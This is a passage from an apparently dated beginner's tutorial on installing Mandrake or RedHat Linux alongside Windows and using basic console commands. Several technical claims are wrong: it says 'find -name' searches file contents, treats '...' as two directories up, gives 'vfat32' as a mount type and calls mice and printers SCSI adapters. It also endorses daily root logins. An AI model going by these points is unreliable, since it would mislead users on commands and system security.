same disc, they would be two different hard drives. Anyway, the reason
for this is that Windows and Linux are totally different in the way they
access hard drives and handle files. If they are using each other's hard
drive space the two operating systems can conflict and cause major problems
for your computer. Well, as I was saying, you need to create a hard drive
partition reserved for Linux. There are MS-DOS programs that do this, but
they are "lethal" partition making programs. By this I mean that while making
a new partition, they can destroy or at least corrupt files on another
partition. If you want to make a partition for Linux, without killing your
Windows files you need a "non-lethal" partition program. If you get
Linux-Mandrake, a "non-lethal" partition program is included with it (this is
just one of the reasons why I recommend Mandrake over RedHat).
Well with all this talk of partitions and hard drives, you must be wondering
roughly how much hard drive space you'll need for Linux. If you want the
complete system with everything, you'll need about 1.5 gigabyte+ hard drive
space. However it is possible to productively run a full Linux distribution
(there are "miniature" Linux distributions that range from around 2 to 35
megabytes, and there's also Trinux, which runs from two 1.44MB floppy disks!
Get it from www.trinux.org) to with as little as 150 megabytes. Trust me, you
don't want EVERYTHING. Linux comes with tons of software you'll probably won't
need. For example: Linux comes with a variety of network servers - a web
server, a Sendmail server, a telnet server, an FTP server etc'. If you choose
not to install something and then regret, you can still get it later off the
original installation CD.
So anyway, if you have sufficient hard drive space, and a "non-lethal"
partition program, you're ready to proceed to the next step: installation.
***Even if you're using a "non-lethal" partition program, I suggest you
backup your Windows files just in case something goes wrong.***
3.0 - Installation
Now that your computer is ready for Linux, you're ready to install it.
When you bought the software, it probably came with a few CD's and a disk.
The disk is boot disk for the Linux installation program. You pop in the
disk, reset your computer, the installation program begins, and you're
ready to install Linux. The only thing is that the installation program
will take a while to load since it's from a disk.
**The stuff on the disk is probably just a duplicate of some of the stuff
on the first CD. If your computer is capable of booting from a CD (and
most newer ones are, otherwise, check your manual) then instead of putting
the disk in your computer then rebooting, put in the first CD as it will
load much quicker. Of course, you'll need to mess with your BIOS
configurations first, but that's no big deal. Hit del when your computer
boots up (after it tells you how much RAM you have) and mess around with it
until you can find out how to make your computer attempt to boot from your CD
drive first. This differs from different BIOS systems.**
3.1 - Ok..You're finally ready to install Linux.
The first few questions the install program asks you are self explanatory,
just things like your language and stuff. One thing you might get stumped
on is when you are prompted on whether you have any SCSI adapters or not.
An SCSI adapter can be anything such as a mouse, printer, scanner, etc. It
all depends if you have an SCSI controller. Chances are, you don't have any
SCSIs, but check your manual to be sure. Also, if you are completely sure
that your copy of Microsoft Windows is properly-configured, you can quit the
installation program at any time, return to Windows, run control panel, click
on system and find out all the information you'll need about your system's
hardware.
3.2 - More Partition Stuff
The next thing you might have trouble with is a dialog box that appears
asking you some questions about your hard drive partitions. The name of
the dialog box should 'Disk Setup'. There should be three buttons on the
bottom of the box. One labeled 'Disk Druid', another labeled 'fdisk', and
the last is the back button. Since you already set up your partitions,
select 'Disk Druid'. If you originally only had one partition with
windows, then the top of the screen should look something like this:
Mount Point Device Requested Actual Type
hda1 ??MB ??MB Win95
hda2 ??MB ??MB Linux Swap
hda3 ??MB ??MB Linux Native
Mount point should be blank.
'Device' is the name of the partition
'Requested' is the amount of hard drive space you wanted for the partition
'Actual' is the amount of hard drive space that is really in the partition
'Type' is what's in the partition
**The 'requested' and 'actual' sections for the 'Linux Swap" type should
be the amount of RAM you have.**
**It looks confusing, but in reality if it is simple. Don't worry if your
screen doesn't look exactly like my diagram, it probably won't.**
What you should do now is select the 'Linux Native' section (by pressing
tab to get to that part of the screen, then using the arrow keys) and then
press tab again until the 'edit' button is highlighted. Pressing spacebar
will bring up another dialog box. In the space provided, put a slash (/)
then press OK. Now you're back at the main screen. Press tab to get to
OK, and then press spacebar.
**what you're actually doing here is telling the computer to put the root
directory, signified by the slash, in the Linux Native partition. The
root directory '/', is similar to 'C:\' in DOS/Windows.**
Next you come to a screen asking which partitions to format. Select the
one that 'Linux Native' is in. You should select the '/dev/xxxx/'
partition where 'xxxx' is the name of the device that the Linux Native
partition is under. This is where you put the '/' on the last screen. If
the Linux Native partition device was hda3 then choose '/dev/hda3', if it
was hda6, then choose '/dev/hda6', you get the point.
**IT IS VERY IMPORTANT THAT YOU DO NOT SELECT THE WRONG PARTITION TO
FORMART!**
3.3 - Selecting What to Install
Suppose you had three hard drives on Windows - c:\, d:\ and e:\, and you
want to install Linux on d:\. Windows assigns the letter c to the first
hard drive it finds that has a DOS/Windows file partition, d to the second
DOS/Windows-compatible hard drive etc', so this might help you out
determining which device to choose. Also, if you turn d:\ into the Linux
hard drive, it will disappear from DOS/Windows, and e:\ will turn into
d:\.
You're not finished yet, but take a sigh of relief, the hardest part is
over. Next comes the screen asking which packages to install. Some of
the most important ones are selected already. If you have a lot of hard
drive space, select all the other packages. Otherwise, just select the
others that you think are important. Definitely select 'KDE' and 'GNOME'.
Those are window manager programs for the X-Windows system (a GUI - Graphical
User Interface), and we'll deal with them later. Anyway, newer versions always
come with new software and/or updates for old software.
Press OK and the Linux installation begins!
3.4 - Misc. Configurations
After everything has been installed, you are prompted for more things.
The first should be what resolution your monitor is. Most people would
like to use the same resolution they use on Windows, so if you don't know
which resolution you were using until now, switch back to Windows,
right-click on your desktop area, click properties and find the settings
tab. You should see your current resolution there. This would probably be
the same resolution you would want to use on Windows. If you want a higher
resolution, consult your monitor's manual to find out how high you can go.
Next is the mouse configuration. If your mouse is not on the list, select
'Generic PS/2 Mouse'.
There are more such as clock set and time zone but those are
self-explanatory. After this, comes the services screen. These are the
things that will startup when you run Linux. Then it will prompt you for
if you want the X-Windows interface to run when you start Linux. If you are a
Linux newbie (and you probably are, unless you weren't reading this guide), I
suggest you do this. X windows is the GUI system, as explained before.
The last configuration is the printer. This is self-explanatory.
3.5 - Configuring Users
Ok...you're almost done; the configurations are pretty much finished. Now
you will be prompted to create a password for the root operator. Even though
it is still very popular on single home users, Linux is a multi-user operating
system. Even if you'll be the only person using your computer, having a
multi-user system is quite benefical. For example: you can use a
less-privileged user to prevent yourself from doing stupid things and messing
things up. You can run sensitive software which can be broken to (say, some
sort of a server. For example: a Sendmail server for outgoing mail if you're
planning to let people sent mail from your machine, or a web server if you
want to serve a website off your computer) as a less-privileged user, so if
someone will manage to exploit some hole in this software, he will have very
limited privileges (up to what the program needs to run properly) and he won't
be able to do much, or nothing at all in most cases (he won't have read
access to password files, he won't have write access to the website's files
so he won't be able to alter them etc'). On any UNIX-based system (and there
are many) the main user is called 'root'. The root has supreme power over the
system and supreme power over all the other users. In fact, he has unlimited
power (unless he or another root-privileged user chooses to impose access
limits, but root-privileged users can always restore their rights to the
fullest).
My root password is a particularly simple one. Mainly because I am the
only one who uses Linux on my computer (and besides that I trust my own
family!) and that my Linux system is not connected to the Internet (so
hackers [or crackers I should say] would have no way to get into my
system). Make your password anything not to complicated that you'll
forget it, but something that is very hard to guess.
After you're done making a password for the root user, you're prompted to
create an unprivileged, or ordinary user account. You make the user name,
credentials, and password. It may seem pointless at first to create
another user- especially an unprivileged one if you are the only one who
is going to be using Linux. However there is a big advantage to it. As a
root user, you can do anything to the system, including seriously messing
it up. Nothing will stop you because you are root. An ordinary user
account is like security so if you mess up, the system will stop you.
3.6 - Booting Configurations
Next you are asked if you want to create a boot disk. I strongly recommend
this because it will put the Linux boot stuff on the disk, not your computer.
If you put the Linux boot stuff on a computer with windows, it may conflict
with the windows boot stuff in case you ever reinstall Windows (go to
blacksun.box.sk/byteme.html and read #18 for a good example).
The Linux 'boot stuff' I'm talking about is a program called 'LILO'.
That's short for 'Linux Loader'. Anyway LILO installs itself to the boot
sector of the computer. The problem is that Windows also installs stuff
to the boot sector. LILO can install over Windows and let you choose to
either boot up Linux or Windows whenever you start up your computer. If you
choose Windows, it'll use Windows' "boot stuff".
Anyway, in my opinion, when the install program asks you to create a boot
disk, click Ok, then follow the directions to create a boot disk. Oh yeah,
by the way, when you make a boot disk, it puts LILO on that disk. When it
asks you to install LILO, just press Skip (unless you want to install
LILO, which most users will).
Congratulations! You're done installing Linux! When the installation
program ends, take the installation boot disk out of the drive. If you
booted the installation from CD, don't forget to take that out too.
4.0 - Running Linux
I bet you're glad to finish that installation! Now you're finally ready
to run the system. If you decided to create a boot disk, insert that into
the disk drive. If you decided to install LILO, just sit tight for now.
Regardless of what you did, reset your computer. If you used LILO, you
will get a prompt to load Linux or Windows. If you used a boot disk, the
system will startup automatically.
After the system starts up, the will get prompted for a user name and
password. This will look different depending on how you configured it in
the installation. If you chose to start the X Windows GUI automatically,
the username and password screen will look like it does in Windows (well,
sort of. X-Windows is much cooler, unless you're using some lame version of
it or some lame window manager). If you chose not to load the X Windows
interface at startup (like most advanced users will), you'll be presented
with a text-based interface. The text-based interface (the command console)
is much faster than the graphical system, but this also means you cannot view
any graphics until you start X-Windows (this is a good time to mention that
most people just call it X). Anyway, you can always run a command console
from an X window (usually called an "XTerm", which stands for X Terminal).
Anyway, the login screen will look pretty much the same regardless of
whether you are using RedHat or Mandrake.
If you're wondering what to type in the username box, that's easy. Your
username is 'root' (remember?). The password is the one that you selected
at installation.
5.0 - Using Linux
5.1 - Intro To The Console
Even though you'll probably be able to do everything with ease using the X
Windows GUI, there is still some stuff you should know. First off, don't
rely on a GUI for everything! That is very important because you will
learn a lot by using the console. The console is more powerful and can do a
lot of things you would REALLY like if you'll just grab a good basic Unix book
and start learning. After you do, you'll find yourself often opening an XTerm
window to run some console commands which you cannot run from X. If you
selected to start the GUI interface when Linux loads up, there are still lots
of ways to get to the console.
The console prompt should look somewhat like this (if you're logged in as root):
[root@localhost.localdomian]#
The first part identifies who you are, and the '#' is the actual prompt.
Any almost and UNIX type system, the '#' means you are root. On non-root bash
consoles (BASH - Bourne Again Shell. BASH is the most popular text-based
shell. Confused? Don't worry, we'll get to that in a second) this will be
replaced with a $. Anyway, you can change the prompt, but we won't get into
that now.
5.11 - Shells
You use a shell everytime you're in the Linux console. What a shell is,
is the program that communicates between you and the Kernel (the kernel is
the core of the system). Let's think of it as an interpreter for for two
people who are trying to have a meeting, except they don't speak the same
language. One speaks English and the speaks, oh let's say Hebrew (about half
the members of Black Sun Research Facility (blacksun.box.sk if you don't
know the URL yet. Also, if you havn't noticed, I'm a member of BSRF) are from
Israel). To communicate with each other they need a guy who speaks both
English and Hebrew. If the English guy wants to tell the Hebrew guy
something, he tells it to the interpreter in English, and then the
interpreter tells it to the other guy in Hebrew, and vice versa. Well
anyway, getting back to the subject, this is the case with Linux. Your
language is the Linux commands, and the Kernel speaks it's own very complex
language. When you want to talk to the Kernel, you tell shell in your
language, and the shell tells it to the Kernel in it's language. On any Linux
system, there a few shells. Some of them are:
ash
bash
bsh
csh
tcsh
zsh
The most popular and powerful shell is 'bash' (borne again shell). We
won't go that much into shells, because you don't need to know that much
about them just yet.
5.2 - Navigating The File System
The most important thing to know when using the console is how to navigate
the file system without a graphical program.
The first thing to understand about this is that the bottom directory, the
directory that everything else is a subdirectory of is '/'. It's like
'C:\' in Windows.
Ok, you start at the console and as a default you're either in your home
directory (every user has a home directory which contains his personal
configurations files). Now you want to navigate to another directory. But
wait, you don't know any other directories! You'll a directory listing for
this, right? To do this type 'ls' at the prompt. 'ls' is the equivlant to
'dir' in MS-DOS, and stands for list. You'll get a list of files and
folders. To make the list a bit more readable, try ls -Fla. The -a shows
files which start with a period (for example: .Xclients-default). The -l
displays file permissions and displays everything in neat columns. The -F
option adds a / after a directory and a * after an executable file. I also
suggest using ls -Fla --color to let the system color-code different files
(may not be available on some systems).
Anyway, now that you what directories there are, you need to know how to
get into them. Luckily, you use the same command as you you use in
MS-DOS, the 'cd' (change directory) command. Let's say you're at the
bottom directory, '/' and you want to get to '/root'. You simply type
'cd root'. There is no need to type 'cd /root', because you're already in
'/'. Now let's say you want to get to '/root/bin'. This would be done by
typing 'cd bin'. There is no need to type 'cd /root/bin' (the "full path" of
the directory), since you're already in '/root'. Instead, you can use a
"relative path", which is a path that is relative to the current directory
you're in. Type pwd to find out where you are (pwd stands for print working
directory).
Now let's say you're in '/root/bin' and you want to get to '/usr'. You would
type 'cd /usr'. This is to signify that the 'usr' directory is under '/', not
'/root/bin', or even '/root'. Got it? Ok, just one more thing. If you're in
a subdirectory, and you want to get to the top directory, just type 'cd ..'.
Let's say you're in '/root/bin', and you want to get to '/root'. You could
just type 'cd /root', but hey, '/root' is five characters! If you want to
save precious miliseconds, just type 'cd ..', since '/root' is the directory
in which '/root/bin' is a subdirectory of. So in other words, . is the
current directory, .. is one directory above, ... is two directories above
etc'.
5.3 - Basic File and Directory Commands
There are lots of file and directory commands in Linux, but we'll start
with directory commands because they're easier. First off, you have
'mkdir'. 'mkdir' stands for make directory and the context is:
mkdir the_directory_you_want_to_make
Some rulse apply. If you're '/', it will make the new directory under
'/'. If you're in '/usr', it will make the directory under '/usr'. Of
course though, if you're in '/' and you want to make a directory called
'stuff' under '/usr', you would simply type '/usr/stuff'.
The next command is the 'rm' command. It works with files and direcotires
and is used to delete some, it stands for 'remove'. If you want to remove
a file called 'this.gif', you would go to the directory where that file is
and type 'rm this.gif'. Or let's say again you're in '/' and 'this.gif'
is in '/usr', you would type 'rm /usr/this.gif'. It works the same way
with a directory.
Next are the 'cp' and 'mv' commands. They're both relativley simple, but
we'll start with 'cp'. 'cp' stands for copy, and is used to copy a file
from directory to another. The context is:
cp /directory_where_it_is/filename /directory_where_you_want_to_copy_it
Of course if you're already in the directory where the file is, all you
need to type is:
cp filename /directory_where_you_want_to_copy_it
'mv' works the exact same way, except it moves the file instead of copying
it. This means it deletes in from the original directory and puts it in
the new one.
5.4 - Finding and Viewing Commands
To find a file, oyu use the 'find' command. It then followed by the
directory where you want to start looking, then the '-name' arguement to
say that you're searching for a filename. Next you type the name of the
file. Let's say you're looking for the 'this.gif' in the '/usr'
directory, the context would look like this:
find /usr -name this.gif
The find command doesn't stop at filenames, it can also search a file for
a paticular string of text. It has the same context as the find file
command except you put quotes and asteriks around the string of text. So
if you wanted to search the '/usr' directory for a file containing the
string 'hello', you would type
find /usr -name "*hello*"
Ok, once you find a file, you want to view it right? Well, you could open
the file with a text editor, but we haven't learned to use tetx editors
yet, and anyway if the file you want to view is important you might
accidently change it and save it using a text editor. That's what the
'cat' command is for. Let's say you want to view a file called
'stuff.txt' in '/root'. You would navigate to the '/root' directory and
type 'cat stuff.txt'. Or from any directory, type 'cat /root/stuff.txt'
-= For more commands, buy a good basic Unix book =-
5.5 - linuxconf
There are lots of commands in Linux for configuring everything to user
passwords, networks, and the message that comes up when you start Linux. With
so many things to configure, luckily there is one program that does it all.
Just type 'linuxconf' at the command prompt, and you'll be brought to the
Linux Configuration program.
5.6 - Mounting
5.61 - Mounting Drives
In Linux, drives not only have to be physically mounted to the computer, but
mounted in software too. In the KDE and GNOME GUIs, you can easily mount a
CD-ROM or disk drive by clicking on the 'CD-ROM' or 'Disk Drive' icons on the
desktop.
5.62 - How to mount
Remember earlier in this tutorial when we went over how a hard drive partition
is almost like a separate hard drive? Well, just like a separate drive,
partitions also have to be mounted. The main use in this is being able to
mount Windows partition and access Windows files in Linux. Obviously, Windows
software will not run under Linux but there is still a use for accessing
Windows files in Linux.
Let's say you can't use the internet in Linux. You ISP only allows to
dialup with software and they don't make it for Linux, you're not used to
Linux yet so you don't want to use the net in it yet. This is a down
point, but it doesn't mean you can't download Linux files to use. All you
have to do is download the files in Windows and access them in Linux.
To mount a windows partition in Linux, yhe first thing you must do is
create a directory in Linux where you will mount the windows partition to
reside. Go into file manager (it should be under utilities no matter what
distribution you're using) and create a new directory under '/'. Call
anything, I suggest calling it 'windows'. Now exit file manager and go
into 'terminal' (should also be under utilities). Terminal will give you a
command prompt just like MS-DOS. This is what you would have to do
everything from if there were no X Windows GUI. The command to use is
simply enough- 'mount'. But don't type it just yet, you need to give the
system more info. The full command is
mount -t vfat /dev/xxxx /yyyyyyy (yes there is a space between 'xxxx' and '/')
Or mount -t vfat32 /dev/xxxx /yyyyyyy in case this is a FAT32 partition.
Where 'yyyyyyy' is the directory you just created, and 'xxxx' is the device
name of the partition where Windows resides. It is usually hda1 or something.
There, now just go into file manager and click on the directory you created
and you will have all the files that are on your windows partition.
When you're done, don't forget to unmount the drive by typing:
umount /dev/xxxx /yyyyyyy
Each time you want to access your windows files, just mount the partition
(unless they're set for automount. Edit /etc/fstab, find the line that
represents your Windows partition and look for a place with says noauto. If
you find the word noauto, change it into defaults. If you don't, your
Windows partition will probably get automounted whenever you boot-up Linux).
When you're done with them, just unmount the partition.
5.7 - Runlevels
While Windows is booting, have you ever pressed the F8 key? Well, if you
have, you're probably familiar with a screen that pops up giving you a
list of ways you can load Windows. There's safe mode, command prompt,
step-by-step confirmation, etc. Linux has something just like that, and
they're called 'runlevels'. There are six runlevels in all, and some are
pretty much the same. A runlevel is a list of commands to load-up as soon
as you start up Linux (there's a mini-tutorial about runlevels at
blacksun.box.sk/byteme.html). Your default runlevel is probably 5. If you
configured the GUI to start up when you boot the system, and if your default
runlevel is 5, then that is the runlevel configured to boot the GUI when it
starts up...simple, right?
Well anyway, if you use linuxconf to change your default runlevel to 2 or
3 or something, then you change it so that the GUI won't start as soon as
the system boots....all without touching the actual runlevel. When you
want to change it back, just use linuxconf to set the default runlevel
back to 5.
Now let's say you only want to load it without the GUI coming up once.
Instead of having to change the configuration in linuxconf, and then
changing it back, you can load Linux into another runlevel. Suppose You
want to load runlevel 2...not for any paticular reason, just because it's
not configured to load the GUI when it boots up, and well, you like the
number 2. To do this, as soon LILO comes up (whether it's on your
computer, or your boot disk), you have the option to type something next
to 'boot:'. Just type 'linux x'. 'x' refers to the number of the
runlevel, in this case the number 2, so you type 'linux 2', and press
enter. This will load Linux without loading the GUI. When you restart
Linux, it will load the default runlevel again.
You are now officially a Linux user. Check out www.linuxlinks.com for
links to some great Linux sites. The best way to learn about Linux is by
messing around with it. In an hour of playing with Linux you can learn a
lot. If you want more interesting yet simple and easy-to-understand tutorials,
check out sighthansraj.blogspot.com
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